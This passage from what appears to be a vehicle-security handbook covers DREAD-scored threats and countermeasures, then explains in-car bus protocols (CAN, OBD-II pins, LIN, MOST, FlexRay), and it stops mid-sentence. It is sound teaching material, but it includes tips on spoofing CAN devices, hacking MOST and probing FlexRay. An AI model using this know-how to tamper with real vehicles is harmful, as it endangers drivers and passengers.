to	each	of	these	threats,	as	shown	in	Table	1-4.

Table	1-4:	HSI	Level	2	Threats	with	DREAD	Risk	Levels	Applied

HSI	threats D RE A D Total Risk

An	older,	unpatched	version	of	HSI	that	may	be
exploitable

3 3 2 3 3 14 High

An	HSI	that	may	be	susceptible	to	injectable	serial
communication

2 2 2 3 3 12 High

Although	both	risks	are	marked	as	high,	we	can	see	that	the	older	version
of	the	HSI	model	poses	a	slightly	higher	risk	than	do	the	injectable	serial
attacks,	so	we	can	make	it	a	priority	to	address	this	risk	first.	We	can	also	see
that	the	reason	why	the	injectable	serial	communication	risk	is	lower	is	that
the	damage	is	less	severe	and	the	exploit	is	harder	to	reproduce	than	that	of
an	old	version	of	HSI.

CVSS:	An	Alternative	to	DREAD
If	DREAD	isn’t	detailed	enough	for	you,	consider	the	more	detailed	risk
methodology	known	as	the	common	vulnerability	scoring	system	(CVSS).	CVSS
offers	many	more	categories	and	details	than	DREAD	in	three	groups:	base,
temporal,	and	environmental.	Each	group	is	subdivided	into	sub	areas—six
for	base,	three	for	temporal,	and	five	for	environmental—for	a	total	of	14
scoring	areas!	(For	detailed	information	on	how	CVSS	works,	see
http://www.first.org/cvss/cvss-guide.)

http://www.first.org/cvss/cvss-guide


NOTE

While	we	could	use	ISO	26262	ASIL	or	MIL-STD-882E	when	rating	threats,
we	want	more	detail	than	just	Risk	=	Probability	×	Severity.	If	you	have	to	pick
between	these	two	systems	for	a	security	review,	go	with	MIL-STD-882E	from
the	Department	of	Defense	(DoD).	The	Automotive	Safety	Integrity	Level
(ASIL)	system	will	too	often	have	a	risk	fall	into	the	QM	ranking,	which
basically	translates	to	“meh.”	The	DoD’s	system	tends	to	result	in	a	higher
ranking,	which	equates	to	a	higher	value	for	the	cost	of	a	life.	Also,	MIL-STD-
882E	is	designed	to	be	applied	throughout	the	life	cycle	of	a	system,	including
disposal,	which	is	a	nice	fit	with	a	secure	development	life	cycle.

Working	with	Threat	Model	Results
At	this	point,	we	have	a	layout	of	many	of	the	potential	threats	to	our
vehicle,	and	we	have	them	ranked	by	risk.	Now	what?	Well,	that	depends	on
what	team	you’re	on.	To	use	military	jargon,	the	attacker	side	is	the	“red
team,”	and	the	defender	side	is	the	“blue	team.”	If	you’re	on	the	red	team,
your	next	step	is	to	start	attacking	the	highest	risk	areas	that	are	likely	to
have	the	best	chance	of	success.	If	you’re	on	the	blue	team,	go	back	to	your
risk	chart	and	modify	each	threat	with	a	countermeasure.

For	example,	if	we	were	to	take	the	two	risks	in	“The	DREAD	Rating
System”	on	page	11,	we	could	add	a	countermeasure	section	to	each.	Table
1-5	includes	the	countermeasure	for	the	HSI	code	execution	risk,	and	Table
1-6	includes	the	countermeasure	for	the	risk	of	HSI	interception.

Table	1-5:	HSI	Code	Execution	Risk

Threat Executes	code	in	the	kernel	space

Risk High

Attack	technique Exploit	vulnerability	in	older	versions	of	HSI

CountermeasuresKernel	and	kernel	modules	should	be	updated	with	the
latest	kernel	releases

Table	1-6:	Intercepting	HSI	Commands

Threat Intercepts	and	injects	commands	from	the	cellular



network

Risk High

Attack	technique Intercept	serial	communications	over	HSI

CountermeasuresAll	commands	sent	over	cellular	are	cryptographically
signed

Now	you	have	a	documented	list	of	high-risk	vulnerabilities	with
solutions.	You	can	prioritize	any	solutions	not	currently	implemented	based
on	the	risk	of	not	implementing	that	solution.

Summary
In	this	chapter	you	learned	the	importance	of	using	threat	models	to	identify
and	document	your	security	posture,	and	of	getting	both	technical	and
nontechnical	people	to	brainstorm	possible	scenarios.	We	then	drilled	down
into	these	scenarios	to	identify	all	potential	risks.	Using	a	scoring	system,	we
ranked	and	categorized	each	potential	risk.	After	assessing	threats	in	this
way,	we	ended	up	with	a	document	that	defined	our	current	product	security
posture,	any	countermeasure	currently	in	place,	and	a	task	list	of	high-
priority	items	that	still	need	to	be	addressed.



2
BUS	PROTOCOLS

In	this	chapter,	we’ll	discuss	the	different	bus	protocols	common	in	vehicle
communications.	Your	vehicle	may	have	only	one	of	these,	or	if	it	was	built
earlier	than	2000,	it	may	have	none.

Bus	protocols	govern	the	transfer	of	packets	through	the	network	of	your
vehicle.	Several	networks	and	hundreds	of	sensors	communicate	on	these	bus
systems,	sending	messages	that	control	how	the	vehicle	behaves	and	what
information	the	network	knows	at	any	given	time.

Each	manufacturer	decides	which	bus	and	which	protocols	make	the	most
sense	for	its	vehicle.	One	protocol,	the	CAN	bus,	exists	in	a	standard
location	on	all	vehicles:	on	the	OBD-II	connector.	That	said,	the	packets
themselves	that	travel	over	a	vehicle’s	CAN	bus	aren’t	standardized.

Vehicle-critical	communication,	such	as	RPM	management	and	braking,
happens	on	high-speed	bus	lines,	while	noncritical	communication,	such	as
door	lock	and	A/C	control,	happens	on	mid-	to	low-speed	bus	lines.

We’ll	detail	the	different	buses	and	protocols	you	may	run	across	on	your
vehicle.	To	determine	the	bus	lines	for	your	specific	vehicle,	check	its	OBD-
II	pinout	online.

The	CAN	Bus



CAN	is	a	simple	protocol	used	in	manufacturing	and	in	the	automobile
industry.	Modern	vehicles	are	full	of	little	embedded	systems	and	electronic
control	units	(ECUs)	that	can	communicate	using	the	CAN	protocol.	CAN
has	been	a	standard	on	US	cars	and	light	trucks	since	1996,	but	it	wasn’t
made	mandatory	until	2008	(2001	for	European	vehicles).	If	your	car	is	older
than	1996,	it	still	may	have	CAN,	but	you’ll	need	to	check.

CAN	runs	on	two	wires:	CAN	high	(CANH)	and	CAN	low	(CANL).
CAN	uses	differential	signaling	(with	the	exception	of	low-speed	CAN,
discussed	in	“The	GMLAN	Bus”	on	page	20),	which	means	that	when	a
signal	comes	in,	CAN	raises	the	voltage	on	one	line	and	drops	the	other	line
an	equal	amount	(see	Figure	2-1).	Differential	signaling	is	used	in
environments	that	must	be	fault	tolerant	to	noise,	such	as	in	automotive
systems	and	manufacturing.

Figure	2-1:	CAN	differential	signaling

Figure	2-1	shows	a	signal	captured	using	a	PicoScope,	which	listens	to
both	CANH	(darker	lines	at	the	top	of	the	graph)	and	CANL	(lighter	lines
at	the	bottom	of	the	graph).	Notice	that	when	a	bit	is	transmitted	on	the
CAN	bus,	the	signal	will	simultaneously	broadcast	both	1V	higher	and



lower.	The	sensors	and	ECUs	have	a	transceiver	that	checks	to	ensure	both
signals	are	triggered;	if	they	are	not,	the	transceiver	rejects	the	packet	as
noise.

The	two	twisted-pair	wires	make	up	the	bus	and	require	the	bus	to	be
terminated	on	each	end.	There’s	a	120-ohm	resistor	across	both	wires	on	the
termination	ends.	If	the	module	isn’t	on	the	end	of	the	bus,	it	doesn’t	have	to
worry	about	termination.	As	someone	who	may	tap	into	the	lines,	the	only
time	you’ll	need	to	worry	about	termination	is	if	you	remove	a	terminating
device	in	order	to	sniff	the	wires.

The	OBD-II	Connector
Many	vehicles	come	equipped	with	an	OBD-II	connector,	also	known	as	the
diagnostic	link	connector	(DLC),	which	communicates	with	the	vehicle’s
internal	network.	You’ll	usually	find	this	connector	under	the	steering
column	or	hidden	elsewhere	on	the	dash	in	a	relatively	accessible	place.	You
may	have	to	hunt	around	for	it,	but	its	outline	looks	similar	to	that	in	Figure
2-2.

Figure	2-2:	Possible	locations	of	the	OBD-II	connector

In	some	vehicles,	you’ll	find	these	connectors	behind	small	access	panels.
They’ll	typically	be	either	black	or	white.	Some	are	easy	to	access,	and	others



are	tucked	up	under	the	plastic.	Search	and	you	shall	find!

Finding	CAN	Connections
CAN	is	easy	to	find	when	hunting	through	cables	because	its	resting	voltage
is	2.5V.	When	a	signal	comes	in,	it’ll	add	or	subtract	1V	(3.5V	or	1.5V).
CAN	wires	run	through	the	vehicle	and	connect	between	the	ECUs	and
other	sensors,	and	they’re	always	in	dual-wire	pairs.	If	you	hook	up	a
multimeter	and	check	the	voltage	of	wires	in	your	vehicle,	you’ll	find	that
they’ll	be	at	rest	at	2.5V	or	fluctuating	by	1V.	If	you	find	a	wire	transmitting
at	2.5V,	it’s	almost	certainly	CAN.

You	should	find	the	CANH	and	CANL	connections	on	pins	6	and	14	of
your	OBD-II	connector,	as	shown	in	Figure	2-3.

Figure	2-3:	CAN	pins	cable	view	on	the	OBD-II	connector

In	the	figure,	pins	6	and	14	are	for	standard	high-speed	CAN	lines	(HS-
CAN).	Mid-speed	and	low-speed	communications	happen	on	other	pins.



Some	cars	use	CAN	for	the	mid-speed	(MS-CAN)	and	low-speed	(LS-
CAN),	but	many	vehicles	use	different	protocols	for	these	communications.

You’ll	find	that	not	all	buses	are	exposed	via	the	OBD-II	connector.	You
can	use	wiring	diagrams	to	help	locate	additional	“internal”	bus	lines.

CAN	Bus	Packet	Layout
There	are	two	types	of	CAN	packets:	standard	and	extended.	Extended
packets	are	like	standard	ones	but	with	a	larger	space	to	hold	IDs.

Standard	Packets
Each	CAN	bus	packet	contains	four	key	elements:

Arbitration	ID	The	arbitration	ID	is	a	broadcast	message	that	identifies
the	ID	of	the	device	trying	to	communicate,	though	any	one	device	can
send	multiple	arbitration	IDs.	If	two	CAN	packets	are	sent	along	the	bus
at	the	same	time,	the	one	with	the	lower	arbitration	ID	wins.

Identifier	extension	(IDE)	This	bit	is	always	0	for	standard	CAN.

Data	length	code	(DLC)	This	is	the	size	of	the	data,	which	ranges	from
0	to	8	bytes.

Data	This	is	the	data	itself.	The	maximum	size	of	the	data	carried	by	a
standard	CAN	bus	packet	can	be	up	to	8	bytes,	but	some	systems	force	8
bytes	by	padding	out	the	packet.

Figure	2-4	shows	the	format	of	standard	CAN	packets.

Figure	2-4:	Format	of	standard	CAN	packets



Because	CAN	bus	packets	are	broadcast,	all	controllers	on	the	same
network	see	every	packet,	kind	of	like	UDP	on	Ethernet	networks.	The
packets	don’t	carry	information	about	which	controller	(or	attacker)	sent
what.	Because	any	device	can	see	and	transmit	packets,	it’s	trivial	for	any
device	on	the	bus	to	simulate	any	other	device.

Extended	Packets
Extended	packets	are	like	standard	ones,	except	that	they	can	be	chained
together	to	create	longer	IDs.	Extended	packets	are	designed	to	fit	inside
standard	CAN	formatting	in	order	to	maintain	backward	compatibility.	So	if
a	sensor	doesn’t	have	support	for	extended	packets,	it	won’t	break	if	another
packet	transmits	extended	CAN	packets	on	the	same	network.

Standard	packets	also	differ	from	extended	ones	in	their	use	of	flags.
When	looking	at	extended	packets	in	a	network	dump,	you’ll	see	that	unlike
standard	packets,	extended	packets	use	substitute	remote	request	(SRR)	in
place	of	the	remote	transmission	request	(RTR)	with	SSR	set	to	1.	They’ll
also	have	the	IDE	set	to	1,	and	their	packets	will	have	an	18-bit	identifier,
which	is	the	second	part	of	the	standard	11-bit	identifier.	There	are
additional	CAN-style	protocols	that	are	specific	to	some	manufacturers,	and
they’re	also	backward	compatible	with	standard	CAN	in	much	the	same	way
as	extended	CAN.

The	ISO-TP	Protocol
ISO	15765-2,	also	known	as	ISO-TP,	is	a	standard	for	sending	packets	over
the	CAN	bus	that	extends	the	8-byte	CAN	limit	to	support	up	to	4095	bytes
by	chaining	CAN	packets	together.	The	most	common	use	of	ISO-TP	is	for
diagnostics	(see	“Unified	Diagnostic	Services”	on	page	54)	and	KWP
messages	(an	alternative	protocol	to	CAN),	but	it	can	also	be	used	any	time
large	amounts	of	data	need	to	be	transferred	over	CAN.	The	can-utils
program	includes	isotptun,	a	proof-of-concept	tunneling	tool	for
SocketCAN	that	allows	two	devices	to	tunnel	IP	over	CAN.	(For	a	detailed
explanation	of	how	to	install	and	use	can-utils,	see	“Setting	Up	can-utils	to
Connect	to	CAN	Devices”	on	page	36.)

In	order	to	encapsulate	ISO-TP	into	CAN,	the	first	byte	is	used	for
extended	addressing,	leaving	only	7	bytes	for	data	per	packet.	Sending	lots	of



information	over	ISO-TP	can	easily	flood	the	bus,	so	be	careful	when	using
this	standard	for	large	transfers	on	an	active	bus.

The	CANopen	Protocol
Another	example	of	extending	the	CAN	protocol	is	the	CANopen	protocol.
CANopen	breaks	down	the	11-bit	identifier	to	a	4-bit	function	code	and	7-
bit	node	ID—a	combination	known	as	a	communication	object	identifier	(COB-
ID).	A	broadcast	message	on	this	system	has	0x	for	both	the	function	code
and	the	node	ID.	CANopen	is	seen	more	in	industrial	settings	than	it	is	in
automotive	ones.

If	you	see	a	bunch	of	arbitration	IDs	of	0x0,	you’ve	found	a	good
indicator	that	the	system	is	using	CANopen	for	communications.	CANopen
is	very	similar	to	normal	CAN	but	has	a	defined	structure	around	the
arbitration	IDs.	For	example,	heartbeat	messages	are	in	the	format	of	0x700
+	node	ID.	CANopen	networks	are	slightly	easier	to	reverse	and	document
than	standard	CAN	bus.

The	GMLAN	Bus
GMLAN	is	a	CAN	bus	implementation	by	General	Motors.	It’s	based	on
ISO	15765-2	ISO-TP,	just	like	UDS	(see	“Unified	Diagnostic	Services”	on
page	54).	The	GMLAN	bus	consists	of	a	single-wire	low-speed	and	a	dual-
wire	high-speed	bus.	The	low-speed	bus,	a	single-wire	CAN	bus	that
operates	at	33.33Kbps	with	a	maximum	of	32	nodes,	was	adopted	in	an
attempt	to	lower	the	cost	of	communication	and	wiring.	It’s	used	to
transport	noncritical	information	for	things	like	the	infotainment	center,
HVAC	controls,	door	locks,	immobilizers,	and	so	on.	In	contrast,	the	high-
speed	bus	runs	at	500Kbps	with	a	maximum	of	16	nodes.	Nodes	in	a
GMLAN	network	relate	to	the	sensors	on	that	bus.

The	SAE	J1850	Protocol
The	SAE	J1850	protocol	was	originally	adopted	in	1994	and	can	still	be
found	in	some	of	today’s	vehicles,	for	example	some	General	Motors	and
Chrysler	vehicles.	These	bus	systems	are	older	and	slower	than	CAN	but
cheaper	to	implement.



There	are	two	types	of	J1850	protocols:	pulse	width	modulation	(PWM)
and	variable	pulse	width	(VPW).	Figure	2-5	shows	where	to	find	PWM	pins
on	the	OBD-II	connector.	VPW	uses	only	pin	2.

Figure	2-5:	PWM	pins	cable	view

The	speed	is	grouped	into	three	classes:	A,	B,	and	C.	The	10.4Kbps
speeds	of	PWM	and	VPW	are	considered	class	A,	which	means	they’re
devices	marketed	exclusively	for	use	in	business,	industrial,	and	commercial
environments.	(The	10.4Kbps	J1850	VPW	bus	meets	the	automotive
industry’s	requirements	for	low-radiating	emissions.)	Class	B	devices	are
marketed	for	use	anywhere,	including	residential	environments	and	have	a
second	SAE	standard	implementation	that	can	communicate	at	100Kbps,	but
it’s	slightly	more	expensive.	The	final	implementation	can	operate	at	up	to
1Mbps,	and	it’s	used	in	class	C	devices.	As	you	might	expect,	this	third
implementation	is	the	most	expensive,	and	it’s	used	primarily	in	real-time
critical	systems	and	media	networks.

The	PWM	Protocol



PWM	uses	differential	signaling	on	pins	2	and	10	and	is	mainly	used	by
Ford.	It	operates	with	a	high	voltage	of	5V	and	at	41.6Kbps,	and	it	uses	dual-
wire	differential	signaling,	like	CAN.

PMW	has	a	fixed-bit	signal,	so	a	1	is	always	a	high	signal	and	a	0	is	always
a	low	signal.	Other	than	that,	the	communication	protocol	is	identical	to	that
of	VPW.	The	differences	are	the	speed,	voltage,	and	number	of	wires	used
to	make	up	the	bus.

The	VPW	Protocol
VPW,	a	single-wire	bus	system,	uses	only	pin	2	and	is	typically	used	by
General	Motors	and	Chrysler.	VPW	has	a	high	voltage	of	7V	and	a	speed	of
10.4Kbps.

When	compared	with	CAN,	there	are	some	key	differences	in	the	way
VPW	interprets	data.	For	one,	because	VPW	uses	time-dependent
signaling,	receiving	1	bit	isn’t	determined	by	just	a	high	potential	on	the	bus.
The	bit	must	remain	either	high	or	low	for	a	set	amount	of	time	in	order	to
be	considered	a	single	1	bit	or	a	0	bit.	Pulling	the	bus	to	a	high	position	will
put	it	at	around	7V,	while	sending	a	low	signal	will	put	it	to	ground	or	near-
ground	levels.	This	bus	also	is	at	a	resting,	or	nontransmission,	stage	at	a
near-ground	level	(up	to	3V).

VPW	packets	use	the	format	in	Figure	2-6.

Figure	2-6:	VPW	Format

The	data	section	is	a	set	size—always	11	bits	followed	by	a	1-bit	CRC
validity	check.	Table	2-1	shows	the	meaning	of	the	header	bits.

Table	2-1:	Meaning	of	Header	Bits

Header	bitsMeaning Notes

PPP Message	priority 000	=	Highest,	111	=	Lowest



H Header	size 0	=	3	bytes,	1	=	single	byte

K In-frame	response0	=	Required,	1	=	Not	allowed

Y Addressing	mode 0	=	Functional,	1	=	Physical

ZZ Message	type Will	vary	based	on	how	K	and	Y	are	set

In-frame	response	(IFR)	data	may	follow	immediately	after	this	message.
Normally,	an	end-of-data	(EOD)	signal	consisting	of	200μs-long	low-
potential	signal	would	occur	just	after	the	CRC,	and	if	IFR	data	is	included,
it’ll	start	immediately	after	the	EOD.	If	IFR	isn’t	being	used,	the	EOD	will
extend	to	280μs,	causing	an	end-of-frame	(EOF)	signal.

The	Keyword	Protocol	and	ISO	9141-2
The	Keyword	Protocol	2000	(ISO	14230),	also	known	as	KWP2000,	uses	pin
7	and	is	common	in	US	vehicles	made	after	2003.	Messages	sent	using
KWP2000	may	contain	up	to	255	bytes.

The	KWP2000	protocol	has	two	variations	that	differ	mainly	in	baud
initialization.	The	variations	are:

•	ISO	14230-4	KWP	(5-baud	init,	10.4	Kbaud)

•	ISO	14230-4	KWP	(fast	init,	10.4	Kbaud)

ISO	9141-2,	or	K-Line,	is	a	variation	of	KWP2000	seen	most	often	in
European	vehicles.	K-Line	uses	pin	7	and,	optionally,	pin	15,	as	shown	in
Figure	2-7.	K-Line	is	a	UART	protocol	similar	to	serial.	UARTs	use	start
bits	and	may	include	a	parity	bit	and	a	stop	bit.	(If	you’ve	ever	set	up	a
modem,	you	should	recognize	this	terminology.)



Figure	2-7:	KWP	K-Line	pins	cable	view

Figure	2-8	shows	the	protocol’s	packet	layout.	Unlike	CAN	packets,	K-
Line	packets	have	a	source	(transmitter)	and	a	destination	(receiver)	address.
K-Line	can	use	the	same	or	a	similar	parameter	ID	(PID)	request	structure
as	CAN.	(For	more	on	PIDs,	see	“Unified	Diagnostic	Services”	on	page	54.)

Figure	2-8:	KWP	K-Line	packet	layout

The	Local	Interconnect	Network	Protocol
The	Local	Interconnect	Network	(LIN)	is	the	cheapest	of	the	vehicle	protocols.
It	was	designed	to	complement	CAN.	It	has	no	arbitration	or	priority	code;
instead,	a	single	master	node	does	all	the	transmission.



LIN	can	support	up	to	16	slave	nodes	that	primarily	just	listen	to	the
master	node.	They	do	need	to	respond	on	occasion,	but	that’s	not	their	main
function.	Often	the	LIN	master	node	is	connected	to	a	CAN	bus.

The	maximum	speed	of	LIN	is	20Kbps.	LIN	is	a	single-wire	bus	that
operates	at	12V.	You	won’t	see	LIN	broken	out	to	the	OBD	connector,	but
it’s	often	used	instead	of	direct	CAN	packets	to	handle	controls	to	simple
devices,	so	be	aware	of	its	existence.

A	LIN	message	frame	includes	a	header,	which	is	always	sent	by	the
master,	and	a	response	section,	which	may	be	sent	by	master	or	slave	(see
Figure	2-9).

Figure	2-9:	LIN	format

The	SYNC	field	is	used	for	clock	synchroniziation.	The	ID	represents
the	message	contents—that	is,	the	type	of	data	being	transmitted.	The	ID
can	contain	up	to	64	possibilities.	ID	60	and	61	are	used	to	carry	diagnostic
information.

When	reading	diagnostic	information,	the	master	sends	with	ID	60	and
the	slave	responds	with	ID	61.	All	8	bytes	are	used	in	diagnostics.	The	first
byte	is	called	the	node	address	for	diagnostics	(NAD).	The	first	half	of	the
byte	range	(that	is,	1–127)	is	defined	for	ISO-compliant	diagnostics,	while
128–255	can	be	specific	to	that	device.

The	MOST	Protocol
The	Media	Oriented	Systems	Transport	(MOST)	protocol	is	designed	for
multimedia	devices.	Typically,	MOST	is	laid	out	in	a	ring	topology,	or
virtual	star,	that	supports	a	maximum	of	64	MOST	devices.	One	MOST
device	acts	as	the	timing	master,	which	continuously	feeds	frames	into	the
ring.

MOST	runs	at	approximately	23	Mbaud	and	supports	up	to	15



uncompressed	CD	quality	audio	or	MPEG1	audio/video	channels.	A
separate	control	channel	runs	at	768	Kbaud	and	sends	configuration
messages	to	the	MOST	devices.

MOST	comes	in	three	speeds:	MOST25,	MOST50,	and	MOST150.
Standard	MOST,	or	MOST25,	runs	on	plastic	optical	fiber	(POF).
Transmission	is	done	through	the	red	light	wavelength	at	650	nm	using	an
LED.	A	similar	protocol,	MOST50,	doubles	the	bandwidth	and	increases
the	frame	length	to	1025	bits.	MOST50	traffic	is	usually	transported	on
unshielded	twisted-pair	(UTP)	cables	instead	of	optical	fiber.	Finally,
MOST150	implements	Ethernet	and	increases	the	frame	rate	to	3072	bits	or
150Mbps—approximately	six	times	the	bandwidth	of	MOST25.

Each	MOST	frame	has	three	channels:

Synchronous	Streamed	data	(audio/video)

Asynchronous	Packet	distributed	data	(TCP/IP)

Control	Control	and	low-speed	data	(HMI)

In	addition	to	a	timing	master,	a	MOST	network	master	automatically
assigns	addresses	to	devices,	which	allows	for	a	kind	of	plug-and-play
structure.	Another	unique	feature	of	MOST	is	that,	unlike	other	buses,	it
routes	packets	through	separate	inport	and	outport	ports.

MOST	Network	Layers
Unless	your	goal	is	to	hack	a	car’s	video	or	audio	stream,	the	MOST
protocol	may	not	be	all	that	interesting	to	you.	That	said,	MOST	does	allow
access	to	the	in-vehicle	microphone	or	cell	system,	as	well	as	traffic
information	that’s	likely	to	be	of	interest	to	malware	authors.

Figure	2-10	shows	how	MOST	is	divided	up	amongst	the	seven	layers	of
the	Open	Systems	Interconnection	(OSI)	model	that	standardizes
communication	over	networks.	If	you’re	familiar	with	other	media-based
networking	protocols,	then	MOST	may	look	familiar.



Figure	2-10:	MOST	divided	into	the	seven	layers	of	the	OSI	model.	The
OSI	layers	are	in	the	right	column.

MOST	Control	Blocks
In	MOST25,	a	block	consists	of	16	frames.	A	frame	is	512	bits	and	looks	like
the	illustration	in	Figure	2-11.

Figure	2-11:	MOST25	frame

Synchronous	data	contains	6	to	15	quadlets	(each	quadlet	is	4	bytes),	and
asynchronous	data	contains	0	to	9	quadlets.	A	control	frame	is	2	bytes,	but
after	combining	a	full	block,	or	16	frames,	you	end	up	with	32	bytes	of
control	data.

An	assembled	control	block	is	laid	out	as	shown	in	Figure	2-12.

Figure	2-12:	Assembled	control	block	layout



The	data	area	contains	the	FblockID,	InstID,	FktID,	OP	Type,	Tel	ID,
Tel	Len,	and	12	bytes	of	data.	FblockIDs	are	the	core	component	IDs,	or
function	blocks.	For	example,	an	FblockID	of	0x52	might	be	the	navigation
system.	InstID	is	the	instance	of	the	function	block.	There	can	be	more	than
one	core	function,	such	as	having	two	CD	changes.	InstID	differentiates
which	core	to	talk	to.	FktID	is	used	to	query	higher-level	function	blocks.
For	instance,	a	FktID	of	0x0	queries	a	list	of	function	IDs	supported	by	the
function	block.	OP	Type	is	the	type	of	operation	to	perform,	get,	set,
increment,	decrement,	and	so	forth.	The	Tel	ID	and	Len	are	the	type	of
telegram	and	length,	respectively.	Telegram	types	represent	a	single	transfer
or	a	multipacket	transfer	and	the	length	of	the	telegram	itself.

MOST50	has	a	similar	layout	to	MOST25	but	with	a	larger	data	section.
MOST150	provides	two	additional	channels:	Ethernet	and	Isochronous.
Ethernet	works	like	normal	TCP/IP	and	Appletalk	setups.	Isochronous	has
three	mechanisms:	burst	mode,	constant	rate,	and	packet	streaming.

Hacking	MOST
MOST	can	be	hacked	from	a	device	that	already	supports	it,	such	as	through
a	vehicle’s	infotainment	unit	or	via	an	onboard	MOST	controller.	The
Linux-based	project	most4linux	provides	a	kernel	driver	for	MOST	PCI
devices	and,	as	of	this	writing,	supports	Siemens	CT	SE	2	and	OASIS
Silicon	Systems	or	SMSC	PCI	cards.	The	most4linux	driver	allows	for	user-
space	communication	over	the	MOST	network	and	links	to	the	Advanced
Linux	Sound	Architecture	(ALSA)	framework	to	read	and	write	audio	data.
At	the	moment,	most4linux	should	be	considered	alpha	quality,	but	it
includes	some	example	utilities	that	you	may	be	able	to	build	upon,	namely:

most_aplay	Plays	a	.wav	file

ctrl_tx	Sends	a	broadcast	control	message	and	checks	status

sync_tx	Constantly	transmits

sync_rx	Constantly	receives

The	current	most4linux	driver	was	written	for	2.6	Linux	kernels,	so	you
may	have	your	work	cut	out	for	you	if	you	want	to	make	a	generic	sniffer.
MOST	is	rather	expensive	to	implement,	so	a	generic	sniffer	won’t	be	cheap.



The	FlexRay	Bus
FlexRay	is	a	high-speed	bus	that	can	communicate	at	speeds	of	up	to
10Mbps.	It’s	geared	for	time-sensitive	communication,	such	as	drive-by-
wire,	steer-by-wire,	brake-by-wire,	and	so	on.	FlexRay	is	more	expensive	to
implement	than	CAN,	so	most	implementations	use	FlexRay	for	high-end
systems,	CAN	for	midrange,	and	LIN	for	low-cost	devices.

Hardware
FlexRay	uses	twisted-pair	wiring	but	can	also	support	a	dual-channel	setup,
which	can	increase	fault	tolerance	and	bandwidth.	However,	most	FlexRay
implementations	use	only	a	single	pair	of	wiring	similar	to	CAN	bus
implementations.

Network	Topology
FlexRay	supports	a	standard	bus	topology,	like	CAN	bus,	where	many	ECUs
run	off	a	twisted-pair	bus.	It	also	supports	star	topology,	like	Ethernet,	that
can	run	longer	segments.	When	implemented	in	the	star	topology,	a
FlexRay	hub	is	a	central,	active	FlexRay	device	that	talks	to	the	other	nodes.
In	a	bus	layout,	FlexRay	requires	proper	resistor	termination,	as	in	a
standard	CAN	bus.	The	bus	and	star	topologies	can	be	combined	to	create	a
hybrid	layout	if	desired.

Implementation
When	creating	a	FlexRay	network,	the	manufacturer	must	tell	the	devices
about	the	network	setup.	Recall	that	in	a	CAN	network	each	device	just
needs	to	know	the	baud	rate	and	which	IDs	it	cares	about	(if	any).	In	a	bus
layout,	only	one	device	can	talk	on	the	bus	at	a	time.	In	the	case	of	the	CAN
bus,	the	order	of	who	talks	first	on	a	collision	is	determined	by	the
arbitration	ID.

In	contrast,	when	FlexRay	is	configured	to	talk	on	a	bus,	it	uses
something	called	a	time	division	multiple	access	(TDMA)	scheme	to	guarantee
determinism:	the	rate	is	always	the	same	(deterministic),	and	the	system
relies	on	the	transmitters	to	fill	in	the	data	as	the	packets	pass	down	the	wire,



similar	to	the	way	cellular	networks	like	GSM	operate.	FlexRay	devices	don’t
automatically	detect	the	network	or	addresses	on	the	network,	so	they	must
have	that	information	programed	in	at	manufacturing	time.

While	this	static	addressing	approach	cuts	down	on	cost	during
manufacturing,	it	can	be	tricky	for	a	testing	device	to	participate	on	the	bus
without	knowing	how	the	network	is	configured,	as	a	device	added	to	your
FlexRay	network	won’t	know	what	data	is	designed	to	go	into	which	slots.
To	address	this	problem,	specific	data	exchange	formats,	such	as	the	Field
Bus	Exchange	Format	(FIBEX),	were	designed	during	the	development	of
FlexRay.

FIBEX	is	an	XML	format	used	to	describe	FlexRay,	as	well	as	CAN,
LIN,	and	MOST	network	setups.	FIBEX	topology	maps	record	the	ECUs
and	how	they	are	connected	via	channels,	and	they	can	implement	gateways
to	determine	the	routing	behavior	between	buses.	These	maps	can	also
include	all	the	signals	and	how	they’re	meant	to	be	interpreted.

FIBEX	data	is	used	during	firmware	compile	time	and	allows	developers
to	reference	the	known	network	signals	in	their	code;	the	compiler	handles
all	the	placement	and	configuration.	To	view	a	FIBEX,	download	FIBEX
Explorer	from	http://sourceforge.net/projects/fibexplorer/.

FlexRay	Cycles
A	FlexRay	cycle	can	be	viewed	as	a	packet.	The	length	of	each	cycle	is
determined	at	design	time	and	should	consist	of	four	parts,	as	shown	in
Figure	2-13.

Figure	2-13:	Four	parts	of	a	FlexRay	cycle

The	static	segment	contains	reserved	slots	for	data	that	always	represent
the	same	meaning.	The	dynamic	segment	slots	contain	data	that	can	have
different	representations.	The	symbol	window	is	used	by	the	network	for
signaling,	and	the	idle	segment	(quiet	time)	is	used	for	synchronization.

The	smallest	unit	of	time	on	FlexRay	is	called	a	macrotick,	which	is

http://sourceforge.net/projects/fibexplorer/


typically	one	millisecond.	All	nodes	are	time	synced,	and	they	trigger	their
macrotick	data	at	the	same	time.

The	static	section	of	a	FlexRay	cycle	contains	a	set	amount	of	slots	to
store	data,	kind	of	like	empty	train	cars.	When	an	ECU	needs	to	update	a
static	data	unit,	it	fills	in	its	defined	slot	or	car;	every	ECU	knows	which	car
is	defined	for	it.	This	system	works	because	all	of	the	participants	on	a
FlexRay	bus	are	time	synchronized.

The	dynamic	section	is	split	up	into	minislots,	typically	one	macrotick
long.	The	dynamic	section	is	usually	used	for	less	important,	intermittent
data,	such	as	internal	air	temperature.	As	a	minislot	passes,	an	ECU	may
choose	to	fill	the	minislots	with	data.	If	all	the	minislots	are	full,	the	ECU
must	wait	for	the	next	cycle.

In	Figure	2-14,	the	FlexRay	cycles	are	represented	as	train	cars.
Transmitters	responsible	for	filling	in	information	for	static	slots	do	so	when
the	cycle	passes,	but	dynamic	slots	are	filled	in	on	a	first-come,	first-served
basis.	All	train	cars	are	the	same	size	and	represent	the	time	deterministic
properties	of	FlexRay.

Figure	2-14:	FlexRay	train	representing	cycles

The	symbol	window	isn’t	normally	used	directly	by	most	FlexRay
devices,	which	means	that	when	thinking	like	a	hacker,	you	should	definitely
mess	with	this	section.	FlexRay	clusters	work	in	states	that	are	controlled	by
the	FlexRay	state	manager.	According	to	AUTOSAR	4.2.1	Standard,	these
states	are	as	follows:	ready,	wake-up,	start-up,	halt-req,	online,	online-
passive,	keyslot-only,	and	low-number-of-coldstarters.

While	most	states	are	obvious,	some	need	further	explanation.
Specifically,	online	is	the	normal	communication	state,	while	online-passive
should	only	occur	when	there	are	synchronization	errors.	In	online-passive



mode,	no	data	is	sent	or	received.	Keyslot-only	means	that	data	can	be
transmitted	only	in	the	key	slots.	Low-number-of-coldstarters	means	that
the	bus	is	still	operating	in	full	communication	mode	but	is	relying	on	the
sync	frames	only.	There	are	additional	operational	states,	too,	such	as	config,
sleep,	receive	only,	and	standby.

Packet	Layout
The	actual	packet	that	FlexRay	uses	contains	several	fields	and	fits	into	the
